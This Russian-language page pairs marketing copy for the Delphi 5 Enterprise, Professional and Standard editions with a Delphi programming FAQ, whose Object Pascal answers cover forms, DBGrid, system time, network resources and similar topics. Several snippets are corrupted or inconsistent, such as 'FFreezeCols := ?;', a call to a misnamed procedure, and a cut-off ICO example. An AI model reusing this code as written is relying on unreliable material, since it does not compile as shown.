Delphi 5 Enterprise - это новая высокоэффективная среда для разработки распределенных и Интернет-приложений. InternetExpress, входящий в состав Delphi, включает Мастер клиентских частей web-страниц, облегчающий создание легко масштабируемых систем электронной коммерции на базе HTML 4.0 и XML, пакет для создания многоуровневых распределенных систем MIDAS PageProducer и брокер запросов WebBroker для построения распределенных HTML-приложений.

Получите быстрый доступ к информации любого типа с помощью мастера ADOExpress, а использование TeamSource заметно увеличит производительность вашей группы разработчиков. Масштабируйте создаваемые Интернет-приложения связывая воедино с помощью MIDAS такие стандарты распределенных вычислений как CORBA, COM и MTS. Разрабатывайте надежные приложения на базе Библиотеки визуальных компонетов (Visual Component Library), содержащей более 200 готовых компонент с исходными кодами, используйте непревзойденную функциональность InterBase Express для создания готовых решений для работы с базами данных.

Возможности продукта Высокопродуктивная разработка для Internet.

Delphi 5 включает новые возможности:

  • Internet Express, который ускоряет разработку для Internet и XML (Extensible Markup Language), упрощает распределение данных и оптимизирует обмен данными. Это позволяет разработчикам строить высокоскоростные, гибкие и масштабируемые приложения для Web-сервера, обеспечивая обработку динамических данных;
  • Поддержка HTML 4 для создания полноценных динамических тонких клиентов для World Wide Web;
  • MIDAS 3 для масштабирования Internet-приложений. MIDAS 3 обеспечивает высокую скорость обработки наряду с ростом объёма транзакций и количества клиентов Web-браузеров и Windows-клиентов в Internet или Intranet. MIDAS использует все стандарты распределённых вычислений, такие, как HTTP, CORBA (Common Object Request Broker Architecture), COM (Component Object Model) и MTS (Microsoft Transaction Server), что позволяет интегрировать существующие системы с разрабатываемыми приложениями.
Высокопроизводительная разработка приложений для баз данных.

Delphi 5 поддерживает новейшие технологические стандарты в области разработки приложений для баз данных и включает следующие новые возможности:

  • ADOExpress для быстрого доступа ко всем типам информации (реляционные и нереляционные данные, включая е-mail и файловые системы) с использованием Microsoft's ActiveX Data Object (ADO) и технологии OLE DB. В сочетании с открытой архитектурой компонент Delphi5 по работе с данными программисты могут быстро строить бизнес-приложения в Internet;
  • InterBase Express (IBX) - высокопродуктивное средство построения системы "под ключ" на основе Delphi5 и InterBase v5.5, быстрой, с малой стоимостью поддержки реляционной СУБД. Система, построенная с использованием IBX, не нуждается в дополнительном лицензировании и не требует дополнительных денежных затрат.
Высокая продуктивность корпоративной разработки.

Delphi 5 включает:

  • TeamSource, новый инструмент, который позволяет командам разработчиков отслеживать изменения исходного кода. TeamSource работает на основе существующих систем управления исходным кодом и контроля версий (таких, как PVCS) и дополняет их высокопродуктивной моделью потоков работ (workflow), которая упрощает управление для больших распределённых команд;
  • Borland Translation Suite для быстрой интернационализации или локализации приложений.
Высокая продуктивность для разработчика.

Delphi 5 уменьшает время цикла разработки и увеличивает продуктивность программиста за счет следующих новых возможностей:

  • Улучшение интегрированной среды разработки (IDE), включая:
    • Дизайнер DataModule с древовидным представлением и представлением в виде диаграммы данных для исчерпывающего обзора данных в приложениях;
    • Броузер проекта (Project-Wide) для просмотра кода в пределах проекта и для навигации в библиотеке компонент VCL (Visual Component Library);
    • Контроль соответствия хода разработки временному графику с использованием и списков "что сделать" (To Do lists);
    • Новые мастера для создания консольных приложений и апплетов.
    • Панели Управления Windows.
  • Расширенный инструментарий отладки, включая:
    • Удалённая отладка для распределённой разработки (COM и CORBA);
    • Отладка нескольких процессов одновременно;
    • Быстрая навигация по точкам останова (всплывающие подсказки, задание действий и группировка);
    • Просмотр состояния FPU для низкоуровневой отладки
Включает все заявленные функциональные возможности:
  • Internet Express для создания гибких расширяемых систем с поддержкой DHTML и XML; масштабирование Internet-приложений с использованием MIDAS, поддерживающего все стандарты распределённых вычислений: HTTP, CORBA, COM и MTS; поддержка HTML 4 для создания полноценных динамических тонких клиентов WWW;
  • обеспечивает быстрый доступ ко всем типам информации с помощью ADOExpress (реляционные и нереляционные данные, включая е-mail и файловые системы);
  • включает InterBase Express - высокопродуктивное средство построения системы "под ключ" на основе Delphi5 и InterBase v5.5;
  • обеспечивает доступ к широкому классу БД через драйверы и ODBC;
  • содержит TeamSource - инструмент управления исходным кодом при групповой разработке;
  • включает среду разработки IDE, развитые средства отладки и около 200 компонент VCL.

Назад


Delphi 5 Professional

Delphi5Professional_box.jpeg (9354 bytes) Delphi 5 Professional - средство быстрой и продуктивной разработки Web приложений и приложений для баз данных
Delphi включает профессиональную среду разработки, WebBroker, Native Internet Components, InterBase Express и надежные средства отладки.

Детально изучайте и легко просматривайте код создаваемых программ и модулей данных с помощью Project Browser, Code Explorer, и окон просмотра модулей Data Module Designer. Визуально создавайте компоненты, необходимые для вашей работы с помощью Frames. Разрабатывайте и повторно используйте COM объекты и серверы, включая полный набор контроллеров автоматизации MS Office. Delphi увеличивает производительность и позволяет управлять всем производственным циклом при создании программ с использованием более 150 готовых компонент, новый менеджер проекта Advanced Project Manager и самый быстрый в мире 32-битный компилятор позволяют в оптимальные сроки выпускать на рынок качественные приложения.

Возможности продукта Высокопродуктивная разработка для Internet.

Delphi 5 включает новые возможности:

  • Internet Express, который ускоряет разработку для Internet и XML (Extensible Markup Language), упрощает распределение данных и оптимизирует обмен данными. Это позволяет разработчикам строить высокоскоростные, гибкие и масштабируемые приложения для Web-сервера, обеспечивая обработку динамических данных;
  • Поддержка HTML 4 для создания полноценных динамических тонких клиентов для World Wide Web;
  • MIDAS 3 для масштабирования Internet-приложений. MIDAS 3 обеспечивает высокую скорость обработки наряду с ростом объёма транзакций и количества клиентов Web-браузеров и Windows-клиентов в Internet или Intranet. MIDAS использует все стандарты распределённых вычислений, такие, как HTTP, CORBA (Common Object Request Broker Architecture), COM (Component Object Model) и MTS (Microsoft Transaction Server), что позволяет интегрировать существующие системы с разрабатываемыми приложениями.
Высокопроизводительная разработка приложений для баз данных.

Delphi 5 поддерживает новейшие технологические стандарты в области разработки приложений для баз данных и включает следующие новые возможности:

  • ADOExpress для быстрого доступа ко всем типам информации (реляционные и нереляционные данные, включая е-mail и файловые системы) с использованием Microsoft's ActiveX Data Object (ADO) и технологии OLE DB. В сочетании с открытой архитектурой компонент Delphi5 по работе с данными программисты могут быстро строить бизнес-приложения в Internet;
  • InterBase Express (IBX) - высокопродуктивное средство построения системы "под ключ" на основе Delphi5 и InterBase v5.5, быстрой, с малой стоимостью поддержки реляционной СУБД. Система, построенная с использованием IBX, не нуждается в дополнительном лицензировании и не требует дополнительных денежных затрат.
Высокая продуктивность корпоративной разработки.

Delphi 5 включает:

  • TeamSource, новый инструмент, который позволяет командам разработчиков отслеживать изменения исходного кода. TeamSource работает на основе существующих систем управления исходным кодом и контроля версий (таких, как PVCS) и дополняет их высокопродуктивной моделью потоков работ (workflow), которая упрощает управление для больших распределённых команд;
  • Borland Translation Suite для быстрой интернационализации или локализации приложений.
Высокая продуктивность для разработчика.

Delphi 5 уменьшает время цикла разработки и увеличивает продуктивность программиста за счет следующих новых возможностей:

  • Улучшение интегрированной среды разработки (IDE), включая:
    • Дизайнер DataModule с древовидным представлением и представлением в виде диаграммы данных для исчерпывающего обзора данных в приложениях;
    • Броузер проекта (Project-Wide) для просмотра кода в пределах проекта и для навигации в библиотеке компонент VCL (Visual Component Library);
    • Контроль соответствия хода разработки временному графику с использованием и списков "что сделать" (To Do lists);
    • Новые мастера для создания консольных приложений и апплетов.
    • Панели Управления Windows.
  • Расширенный инструментарий отладки, включая:
    • Удалённая отладка для распределённой разработки (COM и CORBA);
    • Отладка нескольких процессов одновременно;
    • Быстрая навигация по точкам останова (всплывающие подсказки, задание действий и группировка);
    • Просмотр состояния FPU для низкоуровневой отладки
Включает:
  • WebBroker и Internet компоненты (около 20), позволяющие построить распределенные HTML приложения с использованием web, ftp, mail, newsgroups;
  • обеспечивает полную поддержку и создание объектов ActiveX и OLE;
  • включает InterBase Express - высокопродуктивное средство построения системы "под ключ" на основе Delphi5 и InterBase v5.5;
  • обеспечивает доступ к широкому классу БД через драйверы и ODBC;
  • содержит Project Brouser и Code Explorer - средства управления большими проектами;
  • включает среду разработки IDE, развитые средства отладки и около 150 компонент VCL.

Назад


Delphi 5 Standard

Delphi5Standart_box.jpg (9257 bytes) Delphi 5 Standard - средство, упрощаюшее разработу Windows приложений.
Новые возможности визуального программирования и обилие примеров, реализованные в Delphi 5 Standard, заметно упрощают создание даже самых сложных Windows-приложений, а библиотека визуальных компонентов (Visual Component Library) предоставит для вашей работы более 85 готовых универсальных компонентов.

Вы сможете быстро и легко создавать, отлаживать и распространять Windows-приложения, включая приложения, использующие COM-автоматизацию, например, компоненты автоматизации, входящие в состав MS Word, Excel, PowerPoint и Outlook. Мастер CodeInsight Wizard поможет вам при наборе текстов программ, подсказывая наиболее вероятные варианты программных конструкций, а шаблоны для создания готовых компонент (Component Templates) позволят создавать новые компоненты не написав ни одной строчки текста программы вручную. Кроме того, приложения пакета полностью поддерживают все популярные стандарты современного программирования, включая поддержку Microsoft Windows 95 и Windows NT, платформы Win32 API, технологий COM и ActiveX, а также OLE Automation. Перемещаемые меню и окна просмотра позволяют легко настроить среду разработки в полном соответствии с вашими пожеланиями.

Возможности продукта
Высокопродуктивная разработка для Internet.

Delphi 5 включает новые возможности:

  • Internet Express, который ускоряет разработку для Internet и XML (Extensible Markup Language), упрощает распределение данных и оптимизирует обмен данными. Это позволяет разработчикам строить высокоскоростные, гибкие и масштабируемые приложения для Web-сервера, обеспечивая обработку динамических данных;
  • Поддержка HTML 4 для создания полноценных динамических тонких клиентов для World Wide Web;
  • MIDAS 3 для масштабирования Internet-приложений. MIDAS 3 обеспечивает высокую скорость обработки наряду с ростом объёма транзакций и количества клиентов Web-браузеров и Windows-клиентов в Internet или Intranet. MIDAS использует все стандарты распределённых вычислений, такие, как HTTP, CORBA (Common Object Request Broker Architecture), COM (Component Object Model) и MTS (Microsoft Transaction Server), что позволяет интегрировать существующие системы с разрабатываемыми приложениями.
Высокопроизводительная разработка приложений для баз данных.

Delphi 5 поддерживает новейшие технологические стандарты в области разработки приложений для баз данных и включает следующие новые возможности:

  • ADOExpress для быстрого доступа ко всем типам информации (реляционные и нереляционные данные, включая е-mail и файловые системы) с использованием Microsoft's ActiveX Data Object (ADO) и технологии OLE DB. В сочетании с открытой архитектурой компонент Delphi5 по работе с данными программисты могут быстро строить бизнес-приложения в Internet;
  • InterBase Express (IBX) - высокопродуктивное средство построения системы "под ключ" на основе Delphi5 и InterBase v5.5, быстрой, с малой стоимостью поддержки реляционной СУБД. Система, построенная с использованием IBX, не нуждается в дополнительном лицензировании и не требует дополнительных денежных затрат.
Высокая продуктивность корпоративной разработки.

Delphi 5 включает:

  • TeamSource, новый инструмент, который позволяет командам разработчиков отслеживать изменения исходного кода. TeamSource работает на основе существующих систем управления исходным кодом и контроля версий (таких, как PVCS) и дополняет их высокопродуктивной моделью потоков работ (workflow), которая упрощает управление для больших распределённых команд;
  • Borland Translation Suite для быстрой интернационализации или локализации приложений.
Высокая продуктивность для разработчика.

Delphi 5 уменьшает время цикла разработки и увеличивает продуктивность программиста за счет следующих новых возможностей:

  • Улучшение интегрированной среды разработки (IDE), включая:
    • Дизайнер DataModule с древовидным представлением и представлением в виде диаграммы данных для исчерпывающего обзора данных в приложениях;
    • Броузер проекта (Project-Wide) для просмотра кода в пределах проекта и для навигации в библиотеке компонент VCL (Visual Component Library);
    • Контроль соответствия хода разработки временному графику с использованием и списков "что сделать" (To Do lists);
    • Новые мастера для создания консольных приложений и апплетов.
    • Панели Управления Windows.
  • Расширенный инструментарий отладки, включая:
    • Удалённая отладка для распределённой разработки (COM и CORBA);
    • Отладка нескольких процессов одновременно;
    • Быстрая навигация по точкам останова (всплывающие подсказки, задание действий и группировка);
    • Просмотр состояния FPU для низкоуровневой отладки
Включает:
  • средства визуального программирования в технологии "drag-and-drop";
  • обеспечивает полную поддержку и создание объектов ActiveX, OLE и COM (компоненты для Word, Excel, PowerPoint, and Outlook);
  • включает среду разработки IDE, средства отладки и около 85 компонент VCL.

Назад


FAQ по Делфи

СОДЕРЖАНИЕ (B)

T: Application

Q: Как спрятать приложение из панели задач?

Q: Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали?

Q: Определение кто закрывает мое приложение?

Q: Где лучше в программе размещать код заставки перед запуском?

T: Messages

Q: Перехват сообщения Maximize?

T: Hint

Q: Как показать всплывающую подсказку для компонента?

Q: Вызов метода Hint напрямую?

Q: Как изменить внешний вид хинтов (всплывающих подсказок)?

T: Form

Q: Как создать прозрачную форму?

Q: Как сделать окно, которое перетаскивается не за заголовок (caption), а за все поле?

Q: Как запретить клавишу close у любого окна Windows?

Q: Как мне запрограммировать непрямоугольную форму?

Q: Как правильно закрыть и удалить форму?

Q: Как правильно работать с прозрачными окнами?

Q: Каков порядок обработчиков событий при создании и отображении формы?

Q: Как запретить изменение положения или размера моей формы?

T: Time

Q: Как сменить системное время в операционной системе из программы?

T: Keyboard

Q: Как программно включить или выключить NumLock?

Q: Как из программы переключать языки?

Q: Замена Tab на Enter?

Q: Как отловить нажатия клавиш для всех процессов в системе?

Q: Как управлять Caps Lock?

T: DBGrid

Q: Как заставить Pick List в DBGrid появляться быстрее?

Q: Как узнать, что вводится в DBGrid?

Q: Как зафиксировать один или несколько столбцов в TDBGrid с возможностью навигации по этим столбцам?

Q: Как изменить цвет отмеченных записей в DBGrid?

Q: Как в TDBGrid pазpешить только опеpации UPDATE записей и запpетить INSERT/DELETE?

Q: Как обнаружить смену фокуса в TDBGrid?

Q: Имеет ли TDBGrid события OnMouseDown, OnMouseUp и

OnMouseMove?

Q: Как определить текущую строку и текущее поле в TDBGrid?

Q: Как изменить цвет в ячейке DBGrid?

Q: Как показать содержание поля Memo в DBGrid?

T: Query

Q: Можно ли использовать результаты выполнения одного TQuery для другого TQuery?

T: DataSource

Q: Как заставить компонент реагировать на изменения в TDataSource?

T: Table

Q: Как использовать метод Lookup, чтобы получить значения нескольких полей?

Q: Как сохранить/проиграть Avi файлы в БД?

Q: Как проверить сохранение изменений в БД при отключении питания?

Q: Как пересчитать все Calculated Fields без переоткрытия TDataSet?

Q: Каскадное удаление в связанных таблицах?

Q: Создание таблицы программным путем?

Q: Как скопировать значения полей записи из одной таблицы в другую?

Q: Как создать Lookup поля программным путем?

T: Alias

Q: Каким образом можно узнать где физически располагается локальная база данных, если известно имя Alias-а?

T: Net

Q: Как узнать доступные сетевые pесуpсы?

Q: Как подключать сетевые диски?

Q: Как получить сетевые ресурсы?

T: CD-ROM

Q: Как выдвинуть дверцу CD-ROM'а?

Q: Как получить серийный номер Audio CD диска?

T: Picture

Q: Как нарисовать цветовой спектр радуги на форме и при щелчке на форме определить выбранный цвет?

Q: Как преобразовать ICO в BMP?

Q: Подскажите как правильно показать на экpане и сохранить в базе картинку формата JPEG?

Q: Загрузить bitmap из .res без потери палитры?

Q: Загрузка bitmap из .RES файла?

Q: Как назначить иконку для компонента?

Q: Как показать иконку для конкретного типа файла?

Q: Как скопировать экран (или его часть) в TBitmap?

Q: Каким образом можно нарисовать Bitmap в элементе списка, чтобы его фон всегда совпадал с фоном текста, например так в списке фонтов в стандартных диалогах Windows помечаются TrueType фонты?

Q: Как сохранять иконки в приложении и использовать их run time?

T: Sound

Q: Как умертвить PC Speaker?

Q: Как определить, установлена звуковая карта или нет?

Q: Как проиграть Wave-ресурс?

Q: Как сменить диск, который MediaPlayer использует для проигрывания музыкального CD?

T: API

Q: Как запустить программу и подождать, пока она закроется?

Q: Как создавать ярлыки на рабочем столе?

Q: Как удалить файл в корзину (Recycle Bin)?

Q: Как из программы без особых усилий открыть некий URL или отправить кому-либо по электронной почте письмо?

Q: Как запретить переключение на другие задачи?

Q: Как запустить какую-нибудь программу?

Q: Как послать сообщение всем окнам в Windows?

Q: Как правильно в Win32 отслеживать запуск второй копии программы?

Q: Как сменить обои через код?

T: Convert

Q: Как преобразовать цвет в его текстовое представление?

Q: Как проверить, является ли строка целым числом?

Q: Есть ли функция, выполняющая пpеобpазование пеpеменной real в integer?

Q: Добавить #0 в паскалевскую строку?

Q: Перекодировка из Win-кодировки в Dos-кодировку?

Q: Почему непpавильно pаботает функция StrToFloat?

Q: Как вставить в число разделитель разрядов?

Q: Как сравнивать числа с плавающей точкой?

Q: Как правильно округлять дробные числа?

T: Memo

Q: Как изменить позицию табуляции в Memo?

Q: Popup в зависимости от позиции мышки?

Q: Вставить текст в MEMO?

Q: Копирование memo поля из одной таблицы в другую?

Q: Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке?

T: StatusBar

Q: Как вставить в StatusPanel свои компоненты, например ProgressBar?

T: TabbedNotebook

Q: Как вставить компонент в TabbedNotebook в run-time?

T: Canvas

Q: Как вывести на Canvas надпись под углом?

Q: Как рисовать на органе управления, например, на TPanel?

T: TreeView

Q: Как выделять стpочки в TTreeView жиpным или бледным?

Q: Как отменить вставку в TreeView по ESC?

T: Help

Q: Как вызвать поиск справки?

Q: Как показать Popup Help?

Q: Как показать поиск по индексу в моем файле помощи?

T: Component

Q: Почему при создании компонента Run time значения свойств по умолчанию не работают?

Q: Как добавить scroll bar к моему компоненту?

Q: Как перемещать визуальные компоненты?

Q: Как получить компоненту по ее имени?

Q: Мой орган имеет фокус но не получает сообщений от клавиатуры?

Q: Определение компонента по нажатию мышки?

Q: Что такое сообщения компонент?

Q: Как вставить компонент в форму в run-time?

Q: Как выбрать предка для компонента?

T: ListBox

Q: Как добавить горизонтальную полосу прокрутки в TListBox?

Q: Программная прокрутка в Scroll Listbox?

T: Edit

Q: Как добавить строки без мигания?

T: Cursor

Q: Как использовать свои курсоры в программе?

Q: Как ограничить перемещение курсора мыши какой-либо областью экрана?

Q: Как я могу использовать анимированный курсор?

Q: Перемещение курсора только x-координате?

Q: Собственный курсор?

T: Files

Q: Как копиpовать файлы?

Q: Как переместить файл или папку?

Q: Как получить короткий путь файла если имеется длинный?

T: Resource

Q: Как локализовать ресурсы какого-либо пакета (runtime package)?

T: Clipboard

Q: Как работать с буфером обмена как последовательностью байт?

T: OLE

Q: Как работать с файлами MS Word или таблицами Excel?

T: Menu

Q: Как рисовать картинки в пунктах меню (через OwnerDraw)?

Q: Каким образом можно мзменить системное меню формы?

Q: Конструирование Popup меню из DB?

T: Strings

Q: Как сохранить целочисленное значение вместе со строковым в TStringList?

T: BDE

Q: Есть ли BDE API или DLL для восстановления разрушенных индексов?

T: DLL

Q: Как создать файл ресурсов в виде DLL?

Q: Как вызвать функцию из DLL?

T: IDE

Q: Как бросить несколько копий компонента на форму?

Q: Как быстро перейти в опции проекта?

Q: Как изменить директорию, куда Delphi сохраняет проекты по умолчанию?

Q: Как записать клавиатурный макрос?

Q: Как быстро перейти к следующей ошибке компилятора?

Q: Как быстро добавить отступ к блоку кода?

Q: Как убрать заставку при загрузке Delphi?

T: Date

Q: Как определить номер недели по имеющейся дате?

T: Disk

Q: Как определить, есть ли дискета в дисководе?

T: Registry

Q: Как сообщить другим приложениям, что мое приложение изменило реестр?

T: Object Pascal

Q: Как создать строку, разделяемую символом табуляции с помощью функции формат?

Q: Как найти расстояние между двумя точками на экране?

Q: Как передать через командную строку параметр, содержащий пробелы?

Q: Как правильно вызвать функцию DeleteFile()?

Q: Как передать PChar строку в Windows функцию, которая требует LongInt?

Q: Как переназначать события программным путем?

Q: Как сравнивать числа с плавающей точкой?

Q: Как передать процедуру/фунцию другой процедуре/функции?

Q: Как создать функцию возведения в степень?

Q: Как перемещаться по подкаталогам данного каталога?

Q: Как вызвать Windows функцию Beep()?

Q: Как перехватить и обработать динамические изменения экрана?

T: Report

Q: Как проверить содержимое TQRExpr программным путем?

Q: Почему выражение sum(if(...,...,0)) всегда равно 0?

Q: Как работает функция Count() в построителе выражений?

Q: Как проверить, установлен ли принтер по умолчанию?

Q: Как печатать на принтер не по умолчанию?

Q: Как ускорить вывод отчета?

Q: Как установить заголовок окна предварительного просмотра?

Q: Как сохранить предварительный просмотр QuickReport в текстовый файл?

СОДЕРЖАНИЕ (E)

Q: Как сделать окно, которое перетаскивается не за заголовок (caption), а за все поле?

A: Нужно обрабатывать сообщение WM_NCHITTEST:

TForm1 = class(TForm)

...

private

...

procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest;

...

end;

...

procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);

begin

inherited; { вызов унаследованного обработчика }

if M.Result = htClient then { Мышь сидит на окне? }

M.Result := htCaption; { Если да - то пусть Windows думает, что }

{ мышь на caption bar }

end;

...

Окно можно сделать вообще без caption.

Q: Как сменить системное время в операционной системе из программы?

A: //*************************************************************************

// Функция (раздел Public) SetPCSystemTime изменяет системную дату и время.

// Параметр(ы) : tDati Новые дата и время

// Возвращаемые значения: True - успешное завершение

// False - метод несработал

//*************************************************************************

function SetPCSystemTime(tDati: TDateTime): Boolean;

var

tSetDati: TDateTime;

vDatiBias: Variant;

tTZI: TTimeZoneInformation;

tST: TSystemTime;

begin

GetTimeZoneInformation(tTZI);

vDatiBias := tTZI.Bias / 1440;

tSetDati := tDati + vDatiBias;

with tST do

begin

wYear := StrToInt(FormatDateTime('yyyy', tSetDati));

wMonth := StrToInt(FormatDateTime('mm', tSetDati));

wDay := StrToInt(FormatDateTime('dd', tSetDati));

wHour := StrToInt(FormatDateTime('hh', tSetDati));

wMinute := StrToInt(FormatDateTime('nn', tSetDati));

wSecond := StrToInt(FormatDateTime('ss', tSetDati));

wMilliseconds := 0;

end;

SetPCSystemTime := SetSystemTime(tST);

end;

Q: Как программно включить или выключить NumLock?

A: var

abKeyState: array [0..255] of byte;

begin

GetKeyboardState( Addr( abKeyState[ 0 ] ) );

abKeyState[ VK_NUMLOCK ] := abKeyState[ VK_NUMLOCK ] or $01;

SetKeyboardState( Addr( abKeyState[ 0 ] ) );

Q: Как зафиксировать один или несколько столбцов в TDBGrid с возможностью навигации по этим столбцам?

A: Это маленькая вставка в Ваш наследник от TCustomDBGrid, которая решает данную задачу.

// DBGRIDEX.PAS

// ----------------------------------------------------------------------------

-

destructor TDbGridEx.Destroy;

begin

_HideColumnsValues.Free;

_HideColumns.Free;

inherited Destroy;

end;

// ----------------------------------------------------------------------------

constructor TDbGridEx.Create(Component : TComponent);

begin

inherited Create(Component);

FFreezeCols := ?;

_HideColumnsValues := TList.Create;

_HideColumns := TList.Create;

end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.KeyDown(var Key: Word; Shift: TShiftState);

begin

if (Key = VK_LEFT) then ColBeforeEnter(-1);

if (Key = VK_RIGHT) then ColBeforeEnter(1);

inherited;

end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.SetFreezeColor(AColor : TColor);

begin

InvalidateRow(0);

end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.SetFreezeCols(AFreezeCols : Integer);

begin

FFreezeCols := AFreezeCols;

InvalidateRow(0);

end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.ColEnter;

begin

ColBeforeEnter(0);

if Assigned(OnColEnter) then OnColEnter(Self);

end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.ColBeforeEnter(ADelta : Integer);

var

nIndex : Integer;

function ReadWidth : Integer;

var

i : Integer;

begin

i := _HideColumns.IndexOf(Columns[nIndex]);

if i = -1

then result := 120

else result := Integer(_HideColumnsValues[i]);

end;

procedure SaveWidth;

var

i : Integer;

begin

i := _HideColumns.IndexOf(Columns[nIndex]);

if i <> - 1 then

begin

_HideColumnsValues[i] := Pointer(Columns[nIndex].Width);

end else

begin

_HideColumns.Add(Columns[nIndex]);

_HideColumnsValues.Add(Pointer(Columns[nIndex].Width));

end;

end;

begin

for nIndex := 0 to Columns.Count - 1 do

begin

if (Columns[nIndex].Width = 0) then

begin

if (nIndex + 1 <= FreezeCols) or (nIndex >= SelectedIndex + ADelta)

then Columns[nIndex].Width := ReadWidth;

end

else

begin

SaveWidth;

if (nIndex + 1 > FreezeCols) and

(nIndex < SelectedIndex + ADelta) and

(nIndex + 1 < Columns.Count) and

(FreezeCols > 0)

then Columns[nIndex].Width := 0;

end;

end;

end;

Q: Как узнать доступные сетевые pесуpсы?

A: type

PNetResourceArray = ^TNetResourceArray;

TNetResourceArray = array[0..MaxInt div SizeOf(TNetResource) - 1] of TNetResource;

Procedure EnumResources(LpNR:PNetResource);

Var

NetHandle: THandle;

BufSize: Integer;

Size: Integer;

NetResources: PNetResourceArray;

Count: Integer;

NetResult:Integer;

I: Integer;

NewItem:TListItem;

Begin

If WNetOpenEnum(

RESOURCE_GLOBALNET,

RESOURCETYPE_ANY,

// RESOURCETYPE_ANY - все ресурсы

// RESOURCETYPE_DISK - диски

// RESOURCETYPE_PRINT - принтеры

0,

LpNR,

NetHandle) <> NO_ERROR

then Exit;

Try

BufSize := 50 * SizeOf(TNetResource);

GetMem(NetResources, BufSize);

Try

while True do

begin

Count := -1;

Size := BufSize;

NetResult := WNetEnumResource(NetHandle, Count, NetResources, Size);

If NetResult = ERROR_MORE_DATA then

begin

BufSize := Size;

ReallocMem(NetResources, BufSize);

Continue;

end;

if NetResult <> NO_ERROR then Exit;

For I := 0 to Count-1 do

Begin

With NetResources^[I] do

Begin

If RESOURCEUSAGE_CONTAINER =

(DwUsage and RESOURCEUSAGE_CONTAINER)

then

EnumResources(@NetResources^[I]);

If dwDisplayType = RESOURCEDISPLAYTYPE_SHARE Then

// ^^^^^^^^^^^^^^^^^^^^^^^^^ - ресурс

// RESOURCEDISPLAYTYPE_SERVER - компьютер

// RESOURCEDISPLAYTYPE_DOMAIN - рабочая группа

// RESOURCEDISPLAYTYPE_GENERIC - сеть

Begin

NewItem:= Form1.ListView1.Items.Add;

NewItem.Caption:=LpRemoteName;

End;

End;

End;

End;

finally

FreeMem(NetResources, BufSize);

end;

finally

WNetCloseEnum(NetHandle);

end;

End;

procedure TForm1.Button1Click(Sender: TObject);

Var

OldCursor: TCursor;

begin

OldCursor:= Screen.Cursor;

Screen.Cursor:= crHourGlass;

With ListView1.Items do

Begin

BeginUpdate;

Clear;

EnumResource(nil);

EndUpdate;

End;

Screen.Cursor:= OldCursor;

end;

Q: Как в TDBGrid pазpешить только опеpации UPDATE записей и запpетить INSERT/DELETE?

A: На DataSource, к которому прицеплен Grid, вешаю обработчик на событие OnStateChange.

Ниже текст типичного обратчика -

if DBGrid1.DataSource.DataSet.State in [dsEdit, dsInsert] then

DBGrid1.Options := DBGrid1.Options + goRowSelect

else

DBGrid1.Options := DBGrid1.Options - goRowSelect;

Дело в том, что если у Grid'а стоит опция goRowSelect, то из Grid'а невозможно добавить запись. Ну а когда програмно вызываешь редактирование или вставку, то курсор принимает обычный вид и все Ok.

Q: Как изменить цвет отмеченных записей в DBGrid?

A:

type

THackDBGrid = class(TCustomDBGrid);

DefaultDrawing:=False;

....

procedure TfrmCard.GridDrawColumnCell(Sender: TObject; constRect: TRect;

DataCol: Integer; Column: TColumn;

State: TGridDrawState);

var

Index : Integer;

Marked, Selected: Boolean;

begin

Marked := False;

if (dgMultiSelect in Grid.Options) and THackDBGrid(Grid).Datalink.Active then

Marked:=Grid.SelectedRows.Find(THackDBGrid(Grid).Datalink.Datasource.Dataset.Bookmark,Index);

Selected := THackDBGrid(Grid).Datalink.Active and (Grid.Row-1 = THackDBGrid(Grid).Datalink.ActiveRecord);

if Marked then

begin

Grid.Canvas.Brush.Color:=$DFEFDF;

Grid.Canvas.Font.Color :=clBlack;

end;

if Selected then

begin

Grid.Canvas.Brush.Color:=$FFFBF0;

Grid.Canvas.Font.Color :=clBlack;

if Marked then

Grid.Canvas.Brush.Color:=$EFE3DF; { $8F8A30 }

end;

Grid.DefaultDrawColumnCell(Rect, DataCol, Column, State);

end;

где

THackDBGrid = class(TDBGrid)

property DataLink;

property UpdateLock;

end;

Q: Можно ли использовать результаты выполнения одного TQuery для другого TQuery?

A: Если Вы работаете с локальными БД, то Вам поможет -

DbiMakePermanent( SourceQuery.Handle, RName, false );

Q: Каким образом можно узнать где физически располагается локальная база данных, если известно имя Alias-а?

A: function GetPhNameByAlias( sAlias: string ): string;

var

Database: TDatabase;

pszDir: PChar;

begin

Database := TDatabase.Create( nil ); {allocate memory}

pszDir := StrAlloc( 255 );

try

Database.AliasName := sAlias;

Database.DatabaseName := 'TEMP'; {requires a name -- is ignored}

Database.Connected := True; {connect without opening any table}

DbiGetDirectory( Database.Handle, True, pszDir ); {get the dir.}

Database.Connected := False; {disconnect}

Result := StrPas( pszDir ); {convert to a string}

finally

Database.Free; {free memory}

StrDispose( pszDir );

end;

end;

Q: Как выдвинуть дверцу CD-ROM'а?

A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle);

Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0);

Q: Как заставить компонент реагировать на изменения в TDataSource?

A: TFieldDataLink. За D2 не скажу, а в D1 в Help'е его нет, pеализован в

\DELPHI\SOURCE\VCL\DBTABLES.PAS.

VV> Более конкретный вопрос: Как заставить произвольные объекты

VV> (предположительно формы) реагировать на изменения в каком-то DataSource?

type

TMyForm = class(TForm)

{...}

Table1: TTable;

DataSource1: TDataSource;

private

FDL : TFieldDataLink;

procedure RecChange(Sender: TObject);

public

{...}

end;

procedure TMyForm.FormCreate(Sender: TObject);

begin

FDL:=TFieldDataLink.Create;

FDL.OnDataChange:=RecChange;

FDL.DataSource:=DataSource1;

FDL.FieldName:='MyFieldName';

end;

procedure TTabEditDlg.FormDestroy(Sender: TObject);

begin

FDL.Free;

end;

procedure TTabEditDlg.MasterChange(Sender: TObject);

begin

{... тут pеагиpуй на изменения ...}

end;

Q: Как преобразовать ICO в BMP?

A:

Попробуй:

var

Icon : TIcon;

Bitmap : TBitmap;

begin

Icon := TIcon.Create;

Bitmap := TBitmap.Create;

Icon.LoadFromFile('c:\picture.ico');

Bitmap.Width := Icon.Width;

Bitmap.Height := Icon.Height;

Bitmap.Canvas.Draw(0, 0, Icon );

